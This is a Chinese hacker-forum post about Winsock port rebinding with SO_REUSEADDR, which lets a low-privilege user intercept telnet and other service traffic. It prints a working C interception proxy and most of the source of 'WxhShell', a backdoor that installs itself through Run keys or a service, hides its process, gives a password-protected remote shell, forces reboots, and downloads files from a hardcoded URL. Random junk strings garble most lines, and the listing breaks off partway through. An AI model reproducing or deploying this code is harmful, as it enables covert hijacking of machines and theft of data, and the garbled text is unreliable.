社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18807阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~C;1}P%9x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |izf|*e  
"@h 5 SF  
  saddr.sin_family = AF_INET; O7KR~d  
NEY b-#v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "?[7oI}c&  
3aK/5)4|B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BAUo`el5  
!uno!wUIYd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `;'fCO!  
[>pqf  
  这意味着什么?意味着可以进行如下的攻击: HJV8P2f8`  
QqS?-   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "-tTN  
P@RUopu,i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -4}I02  
E#cW3\)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^mNPP:%iN  
1!;}#m7v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #"Wh$x%  
GNv5yWQ@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jNO8n)a&p  
DJm/:td  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t G{?  
x: Nd>Fb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :2n(WXFFI  
1.5lJ:[G  
  #include ' YONRha  
  #include tFYIKiq2  
  #include $S|2'jc  
  #include    8/4Gr8 o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wG&+*,}  
  int main() HOb-q|w  
  { A{7N#-h_  
  WORD wVersionRequested; -6()$cl}0  
  DWORD ret; .QhH!#Y2D  
  WSADATA wsaData; rI[Lg0S  
  BOOL val; e$wbYByW  
  SOCKADDR_IN saddr; r7I,%}k  
  SOCKADDR_IN scaddr; j&S8x|5  
  int err; 4't@i1Ll(  
  SOCKET s; yL&_>cV  
  SOCKET sc; u D.E>.B  
  int caddsize; ;-G!jWt6Zi  
  HANDLE mt; qwb`8o  
  DWORD tid;   -CTsB)=\,  
  wVersionRequested = MAKEWORD( 2, 2 ); >Kd(.r[Er  
  err = WSAStartup( wVersionRequested, &wsaData ); (5"BKu1t  
  if ( err != 0 ) { cZ" Ut  
  printf("error!WSAStartup failed!\n"); 's]+.3">L1  
  return -1; B) 81mcy  
  } \I\'c.$I.Y  
  saddr.sin_family = AF_INET; @QAyXwp  
   6$'6x2,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aE_)iE|  
u%#s_R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IXSCYqoK  
  saddr.sin_port = htons(23); GMw|@?:{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J-W, ^%  
  { Y=gj{]4  
  printf("error!socket failed!\n"); ]c8$%  
  return -1; 9iQcK&D 2  
  } \w 6%J77  
  val = TRUE; !(!BW9Zt+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6]|NB&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V.IgEE]  
  { ,x+_/kqx  
  printf("error!setsockopt failed!\n"); ax0:v!,e  
  return -1; |U_48  
  } S|A?z)I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %@! Vx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HY]vaA`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5k`[a93T  
F_SkS?dB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tVhY=X{N?  
  { OpwZTy}1}  
  ret=GetLastError(); t[6g9e$  
  printf("error!bind failed!\n"); ;+-$=l3[a  
  return -1; Sa&~\!0t  
  } ,i2%FW  
  listen(s,2); qj71 rj  
  while(1) Ru?Ue4W^b  
  { Av*R(d=`  
  caddsize = sizeof(scaddr); (BC3[R@/l  
  //接受连接请求 }9=\#Le~\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O_f|R1G5z  
  if(sc!=INVALID_SOCKET) /$hfd?L  
  { `d=$9Pi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EX>|+zYL  
  if(mt==NULL) bOCdf"!g  
  { F}Bc +i#]  
  printf("Thread Creat Failed!\n"); 'JEZ;9}  
  break; 3zb;q@JV  
  } y+RT[*bX5o  
  } VI%879Z\e  
  CloseHandle(mt); /Q"nQSG  
  } M* W=v  
  closesocket(s); p[e|N;W8A  
  WSACleanup(); +w/Ax[K  
  return 0; Ep}KIBBO  
  }   O.=~/!(  
  DWORD WINAPI ClientThread(LPVOID lpParam) {6<7M  
  { NQ<~$+{  
  SOCKET ss = (SOCKET)lpParam; NDB]8C  
  SOCKET sc; yZ,k8TJ",  
  unsigned char buf[4096]; `n:IXD5'  
  SOCKADDR_IN saddr; A.vcE  
  long num; $ 8w eh3p  
  DWORD val; =JyYU*G4  
  DWORD ret; 1fL@rR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |xH"Xvp:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DR9M8E  
  saddr.sin_family = AF_INET; M[_~7~4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )J_!ZpMC  
  saddr.sin_port = htons(23); rsf A.o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K0]'v>AWr  
  { w\;=3C`  
  printf("error!socket failed!\n"); ?ZSG4La\  
  return -1; &a8#qv"l  
  } I TJ>[c]x  
  val = 100; `sN3iD!@R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w2~(/RgO  
  { o lNL|WJ`w  
  ret = GetLastError(); `hS<F" j  
  return -1; >qx~m>2|8]  
  } g\ @nA4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n/s!S &  
  { mN?'Aey  
  ret = GetLastError(); "yc/8{U  
  return -1; MPO!qSS]  
  } VzpPopD,QW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V#!ypX]AB[  
  { g_] u<8&  
  printf("error!socket connect failed!\n"); n<CJx+U  
  closesocket(sc); )QTk5zt  
  closesocket(ss); xn@?CP`-y  
  return -1; scqG$~O)  
  } 1q~U3'l:$  
  while(1) !j4C:L3F  
  { "JVz v U]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D +)6#i Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S:vv*5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {H $\,  
  num = recv(ss,buf,4096,0); dqUhp_f2qK  
  if(num>0) F4 Ft~:a  
  send(sc,buf,num,0); U3lr<(r*  
  else if(num==0) |i?AtOt@f  
  break; p`1d'n[  
  num = recv(sc,buf,4096,0); |gxU;"2`5~  
  if(num>0) Xk]5*C]6<  
  send(ss,buf,num,0); .2 UUU\/5  
  else if(num==0) ~A8lvuw3  
  break; vG\]xM'u  
  } w}NgFrL  
  closesocket(ss); A i9*w?C  
  closesocket(sc); K;6K!6J:[  
  return 0 ; tb/u@}")  
  } 4,s: G.g  
qvYYKu  
~c?yHpZx%  
========================================================== 4PD"[a="  
UXQ{J5Ox+  
下边附上一个代码,,WXhSHELL l,*Q?q  
":7cZ1VN2  
========================================================== 8<!qT1  
bq[Q  
#include "stdafx.h" /gy;~eB01  
o;];ng  
#include <stdio.h> r.i.w0B(  
#include <string.h> 4C01=,6ye  
#include <windows.h> -ZQ3^'f:0J  
#include <winsock2.h> @aCg1Rm  
#include <winsvc.h> )r?i^D&4  
#include <urlmon.h> \U !<-  
4N$s vA  
#pragma comment (lib, "Ws2_32.lib") .[2MPjg  
#pragma comment (lib, "urlmon.lib") f[.hN  
-&,NM  
#define MAX_USER   100 // 最大客户端连接数 ;%dkwKO  
#define BUF_SOCK   200 // sock buffer &p ;};n  
#define KEY_BUFF   255 // 输入 buffer lBG* P>;  
82J0t}:U  
#define REBOOT     0   // 重启 fy_'K}i3k  
#define SHUTDOWN   1   // 关机 #Z$6> Xt  
& p_;&P_  
#define DEF_PORT   5000 // 监听端口 ` V^#Sb  
bk6$+T=>  
#define REG_LEN     16   // 注册表键长度 :-"J)^V  
#define SVC_LEN     80   // NT服务名长度 {]D!@87  
x ;Gyo  
// 从dll定义API k}lx!Ck  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z7.)[ ;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R@VO3zsW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BLaX p0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'd U$QO  
RTY$oUqlZ  
// wxhshell配置信息 HENCQ_Wra  
struct WSCFG { VpV w:Rh>  
  int ws_port;         // 监听端口 ['R=@.  
  char ws_passstr[REG_LEN]; // 口令 hLm9"N'Pf  
  int ws_autoins;       // 安装标记, 1=yes 0=no B.P64"w  
  char ws_regname[REG_LEN]; // 注册表键名 "BFW&<1  
  char ws_svcname[REG_LEN]; // 服务名 '|XP}V0I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e/Q[%y.X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5\4>H6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @{CpC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :>3&"T.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c(Ha"tBJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rM=Hd/ki5  
{eZ j[*P  
}; #[KwR\b{:+  
:X4\4B*~  
// default Wxhshell configuration :T{or-  
struct WSCFG wscfg={DEF_PORT, 8dA/dMQ  
    "xuhuanlingzhe", $s]@%6 f  
    1, iMA)(ZS  
    "Wxhshell", zf o.S[R@  
    "Wxhshell", _-!6@^+  
            "WxhShell Service", CIaabn  
    "Wrsky Windows CmdShell Service", 6wu/6DO   
    "Please Input Your Password: ", GzB%vsv9 5  
  1, "V^jAPDXb  
  "http://www.wrsky.com/wxhshell.exe", %[Ds-my2  
  "Wxhshell.exe" I^ >zr.z A  
    }; -+PPz?0  
H~G=0_S  
// 消息定义模块 CqX%V":2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  aZ0H)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \!^o<$s.G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Aj`4uFhiL  
char *msg_ws_ext="\n\rExit.";  C|lMXp\*  
char *msg_ws_end="\n\rQuit."; AQV3ZVP  
char *msg_ws_boot="\n\rReboot..."; ncA2en?  
char *msg_ws_poff="\n\rShutdown..."; hT]p8m aRZ  
char *msg_ws_down="\n\rSave to "; {(q U n  
qt:->yiq+  
char *msg_ws_err="\n\rErr!"; Wey\GQ`"8  
char *msg_ws_ok="\n\rOK!"; 'P Yl%2  
3)-#yOr  
char ExeFile[MAX_PATH]; ~%}g"|o  
int nUser = 0; d:wAI|  
HANDLE handles[MAX_USER]; 2 sOc]L:9  
int OsIsNt; 4dok/ +Ec  
4[-9$ r  
SERVICE_STATUS       serviceStatus; )Z_i[1V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uB^]5sqfk  
PA=BNKlH  
// 函数声明 *7vPU:Q[  
int Install(void); 6,h<0j{  
int Uninstall(void); jF5JpyOc  
int DownloadFile(char *sURL, SOCKET wsh); y@Or2bO#  
int Boot(int flag); 'q-h kN  
void HideProc(void); tQ|I$5jNJ  
int GetOsVer(void); Y~:7l5C  
int Wxhshell(SOCKET wsl); h/k`+  
void TalkWithClient(void *cs); nSC>x:jY5/  
int CmdShell(SOCKET sock); X@G`AD'.M  
int StartFromService(void); 1k~jVC2VA  
int StartWxhshell(LPSTR lpCmdLine); 8xv\Zj+  
o{hKt?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i :$g1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;8v5 qz  
( 0h]<7  
// 数据结构和表定义 i~9)Hz;!  
SERVICE_TABLE_ENTRY DispatchTable[] = > @%!r  
{ x('yBf  
{wscfg.ws_svcname, NTServiceMain}, l^"G\ZVI  
{NULL, NULL} 8(I"C$D!k  
}; pqr" x2=.  
Rta P+6'X  
// 自我安装 onlyvH4  
int Install(void) /PCQv_Y&,/  
{ B dKwWgi+a  
  char svExeFile[MAX_PATH]; **"P A8   
  HKEY key; k$2Y)  
  strcpy(svExeFile,ExeFile); 6GN'rVr!Z  
;uDFd04w [  
// 如果是win9x系统,修改注册表设为自启动 +W1rm$Q  
if(!OsIsNt) { k8JPu"R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o EN_,cUp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q ^gEA5  
  RegCloseKey(key); H:_`]X"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O(d'8`8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <f6Oj`{f4  
  RegCloseKey(key); *Tlv'E.M  
  return 0; -5[GX3h0  
    } ;$i'A&)OC  
  } )/JC.d#  
} <*+ MBF  
else { ivq4/Y] -X  
pDLo`F}A  
// 如果是NT以上系统,安装为系统服务 @RP|?Xc{?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J\*d4I<(Rt  
if (schSCManager!=0) |H4'*NP"  
{ >gE_?%a[  
  SC_HANDLE schService = CreateService R[c_L=  
  ( ;gyE5n-{  
  schSCManager, 34=0.{qn  
  wscfg.ws_svcname, -*A'6%`  
  wscfg.ws_svcdisp, |3L MVN  
  SERVICE_ALL_ACCESS, Q'VS]n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uE$o4X  
  SERVICE_AUTO_START, 4Rn i7qH  
  SERVICE_ERROR_NORMAL, }NXESZYoi  
  svExeFile, rBf?kDt6l  
  NULL, Ydx5kUJV<  
  NULL, ;k8}D*?8  
  NULL, }0( Na  
  NULL, SD&[K 8-i2  
  NULL 9?8`" v  
  ); 3^Zi/r  
  if (schService!=0) ?q P }=nJ  
  { :9b RuUm  
  CloseServiceHandle(schService); NP8TF*5V  
  CloseServiceHandle(schSCManager); /HRaX!|E#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x _K%  
  strcat(svExeFile,wscfg.ws_svcname); ?MH4<7?"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ) YFs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1%,Z&@^j  
  RegCloseKey(key); l_ c?q"X  
  return 0; lu_Gr=#O  
    } 5o/rV.I  
  } : [y(<TLw  
  CloseServiceHandle(schSCManager); m"R(_E5  
} g8Z14'Ke  
} Eg*3**gTO  
^U}0D^jDeE  
return 1; o[#a}5Y  
} >gl.(b25C  
(zBQ^97]  
// 自我卸载 Z3dd9m#.]  
int Uninstall(void) B/OO$=>(  
{ V1.F`3h~  
  HKEY key; x8Sq+BY  
G$ FBx  
if(!OsIsNt) { ~<aB-. d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C)j)j&  
  RegDeleteValue(key,wscfg.ws_regname); .KN]a"]  
  RegCloseKey(key); 8GldVn.u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Xx\F56zp  
  RegDeleteValue(key,wscfg.ws_regname); y~7lug  
  RegCloseKey(key); TpgBS4q  
  return 0; TXcKuo=  
  } l'QR2r7&.  
} TeJ `sJ  
} ]B4mm__  
else { UD{/L"GG  
OX4D'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4:$>,D\  
if (schSCManager!=0) B! V{.p  
{ Q\L5ZJ%y/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fXe-U='  
  if (schService!=0) ak `)>  
  { gf?^yP ;V  
  if(DeleteService(schService)!=0) { " 44?n <1  
  CloseServiceHandle(schService); Tm52=+uf$  
  CloseServiceHandle(schSCManager); \aIy68rH,  
  return 0; Tm\[q  
  } c'";3 6y  
  CloseServiceHandle(schService); dH|^\IQ  
  } e-9unnk  
  CloseServiceHandle(schSCManager); C`wI6!  
} e6lOmgHn5  
} K"7;Y#1g  
\F~Cbj+'Nu  
return 1; G4' U;  
} cg0 0t+  
YS~t d+*  
// 从指定url下载文件 9Z'eBp  
int DownloadFile(char *sURL, SOCKET wsh) X vMG09  
{ PU5mz.&0'  
  HRESULT hr; A@(h!Cq  
char seps[]= "/"; T+RI8.#o  
char *token; '*u;:[73  
char *file; \_nmfTr!K  
char myURL[MAX_PATH]; y PYJc  
char myFILE[MAX_PATH]; ?4e6w  
#Hi]&)p_  
strcpy(myURL,sURL); JWHt|zB g  
  token=strtok(myURL,seps); 3^> a TU<Z  
  while(token!=NULL) od*Z$Hb>'  
  { A(OfG&!  
    file=token; uz3pc;0LPY  
  token=strtok(NULL,seps); xY2_*#{.  
  } ROS"VV<  
g ypq`F  
GetCurrentDirectory(MAX_PATH,myFILE); 7CM03R[P  
strcat(myFILE, "\\"); h6y4Ii  
strcat(myFILE, file); f\|?_k]  
  send(wsh,myFILE,strlen(myFILE),0); {@__%=`CCS  
send(wsh,"...",3,0); K#hYbDm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qO{ ZZ*  
  if(hr==S_OK) 2, V+?'^j  
return 0; PMhhPw]  
else lk1Gs{(qhH  
return 1; @B[Cc`IN"  
l/zC##1+.  
} P<!$A  
(%yc5+f!  
// 系统电源模块 !]+Z%ed`%  
int Boot(int flag) 5!jNL~M  
{ 6F.7Ws <  
  HANDLE hToken; nDB 2>J  
  TOKEN_PRIVILEGES tkp; 1]Q 2qs  
#0hNk%X=  
  if(OsIsNt) { "%''k~UD 4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &4&33D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .#55u+d,  
    tkp.PrivilegeCount = 1; 4z%#ZIy3   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rn:zKTyhw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !L. K)9I  
if(flag==REBOOT) { tQ/ #t<4D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SiqX1P  
  return 0; }BdVD t  
} dIpW!Pj^  
else { 8+ F}`lLA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D`:d'ow~KQ  
  return 0; uO@3vY',n  
} |\|)j>[i  
  } ]]=fA 4(  
  else { E<Dh_K  
if(flag==REBOOT) { h@;)dLo0z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p^igscPF6  
  return 0; k l!?/M  
} [AZ aT  
else { -9>LvLU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kka8cG  
  return 0; =v4r M0m,  
}  6Z&u  
} AwXt @!(  
mw(c[.*%  
return 1; /X^3=-{8  
} juMxl  
2Za ,4'  
// win9x进程隐藏模块 }#OqU# q|  
void HideProc(void) g+}s:9  
{ aM{@1m Bm  
]A]Ft!`6z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #~4{`]W6  
  if ( hKernel != NULL ) Q^lQi\[  
  { vS$oT]-hKE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xaWGa1V'z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VX;zZ`BJ  
    FreeLibrary(hKernel); *5y W  
  } V~T`&  
Jh$"fr3  
return; 4`8IFK  
} VFl 1 f  
&nqdl+|G*  
// 获取操作系统版本 my ;  
int GetOsVer(void) E kBae=  
{ }dX/Y /  
  OSVERSIONINFO winfo; [,<\RviI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =[P%_v``  
  GetVersionEx(&winfo); 8cK\myn.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e&$p-0DmT|  
  return 1; _%wK}eH+sy  
  else jCTy:q]  
  return 0; u0XP(d H  
} xH<'GB)  
T-9k<,>?  
// 客户端句柄模块 [d4,gEx`Q\  
int Wxhshell(SOCKET wsl) ^\M dl  
{ )=jT_?9b   
  SOCKET wsh; ytjK++(T5  
  struct sockaddr_in client; >|a\>UgC  
  DWORD myID; zmf"I[)  
ybZ}  
  while(nUser<MAX_USER) \!^i;1h0c3  
{ hZAG (Z  
  int nSize=sizeof(client); la'e[t7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); },DyU  
  if(wsh==INVALID_SOCKET) return 1; jg[5UTkcs  
yp=|7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M^z=1YrMd  
if(handles[nUser]==0) g<fDY6jt  
  closesocket(wsh); $ !v}xY  
else Bul.RCP'  
  nUser++; y7/PDB\he  
  } 0Tcz[$?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sN m,Fmuz:  
E{uf\Fc   
  return 0; (cvh3',  
} aH%ZetLNJ  
R6`*4z S  
// 关闭 socket 9C_*3?6  
void CloseIt(SOCKET wsh) -b cG[W3  
{ Bc@30KiQ ^  
closesocket(wsh); B &?fM~J  
nUser--; Y}ng_c  
ExitThread(0); i;c'P}[K  
} "K,bH  
ejVdxVr\7  
// 客户端请求句柄 8O6_iGTBh  
void TalkWithClient(void *cs) M;*$gV<x  
{ Va7c#P?  
wX ,h< \7  
  SOCKET wsh=(SOCKET)cs; S?L#N  
  char pwd[SVC_LEN]; ^] 6M["d/p  
  char cmd[KEY_BUFF]; Jen%}\  
char chr[1]; F;u7A]H^  
int i,j; pTWg m\h  
1HhX/fpq  
  while (nUser < MAX_USER) { ahA{B1M)n  
4U?<vby  
if(wscfg.ws_passstr) { # :#M{1I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \PbvN\L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o~#f1$|Xn  
  //ZeroMemory(pwd,KEY_BUFF); pz 7H To;p  
      i=0; y;nvR6)  
  while(i<SVC_LEN) { G}VDEC  
1"?]= j:  
  // 设置超时 |jT2W  
  fd_set FdRead; :?=Q39O9  
  struct timeval TimeOut; y7z(&M@  
  FD_ZERO(&FdRead); GAw(mH*  
  FD_SET(wsh,&FdRead); 7X}TB\N1  
  TimeOut.tv_sec=8; ydQ!4  
  TimeOut.tv_usec=0; r?p[3JJ;mG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w2{g,A|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U\jb"  
@'i+ff\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l4vTU=  
  pwd=chr[0]; d yh<pX/$  
  if(chr[0]==0xd || chr[0]==0xa) { ;~+]! U  
  pwd=0; r|GY]9  
  break; v vq/  
  } nBz`q+V  
  i++; 2.-o@im0  
    } -\#lF?fzb  
+ZA)/  
  // 如果是非法用户,关闭 socket u5Up&QE!>q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [A5W+pDm  
} rp's  
7 [d ?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "(`2eXRn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3[d>&xk@$  
:,S98z#  
while(1) { < Ek/8x  
8 #}D : (  
  ZeroMemory(cmd,KEY_BUFF); M`7y>Ud  
kWhr1wR1  
      // 自动支持客户端 telnet标准   m$wlflt  
  j=0; h Dk)Qg  
  while(j<KEY_BUFF) { C <B<o[:H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v^N`IJq  
  cmd[j]=chr[0]; sOBu7!G%  
  if(chr[0]==0xa || chr[0]==0xd) { MS3=~*+  
  cmd[j]=0; y(W|eBe  
  break; PuL<^aJ  
  } ;H'gT+t<c  
  j++; xY<{qHcX  
    } mr:CuqJ  
F;q#&  
  // 下载文件 :E&g%'1  
  if(strstr(cmd,"http://")) { o}$1Ay*q`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^oM|<";!?D  
  if(DownloadFile(cmd,wsh)) #%lo;W~IY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~P .I<  
  else @-&MA)SN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CGbwmPx  
  } 3g~'5Ao  
  else { O+vS|  
#V,R >0"  
    switch(cmd[0]) { m ci/'b Xt  
  eHiy,IN  
  // 帮助 _hu")os  
  case '?': { 9$ qm>,o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m908jI_So  
    break; b^0}}12  
  } yQ,{p@#X8  
  // 安装 0Hxmm@X2  
  case 'i': { 'Ft0Ry<OL  
    if(Install()) 7*5Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (QoI<j""  
    else #Lv2Zoi>G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0'YG6(h  
    break; >TkE~7?l  
    } 4%nE*H%  
  // 卸载 Eow_&#WW;P  
  case 'r': { o%9*B%HO/  
    if(Uninstall()) l*\y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YG [;"QR  
    else ojvj}ln  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Zei0O  
    break; N ,8/Y  
    } .qMOGbd?  
  // 显示 wxhshell 所在路径 u! "t!2I  
  case 'p': { ojyIQk+  
    char svExeFile[MAX_PATH]; R}^~^#  
    strcpy(svExeFile,"\n\r"); Dn&D!B  
      strcat(svExeFile,ExeFile); 0U%f)mG  
        send(wsh,svExeFile,strlen(svExeFile),0); OQW#a[=WQ  
    break; I!e})Y  
    } 3)\8%Ox  
  // 重启 R" ;x vo*  
  case 'b': { h4q|lA6!k8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  J5^'HU3  
    if(Boot(REBOOT)) GrUCZ<S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<:vY  
    else { GGnpjwXeH  
    closesocket(wsh); 6d_'4B  
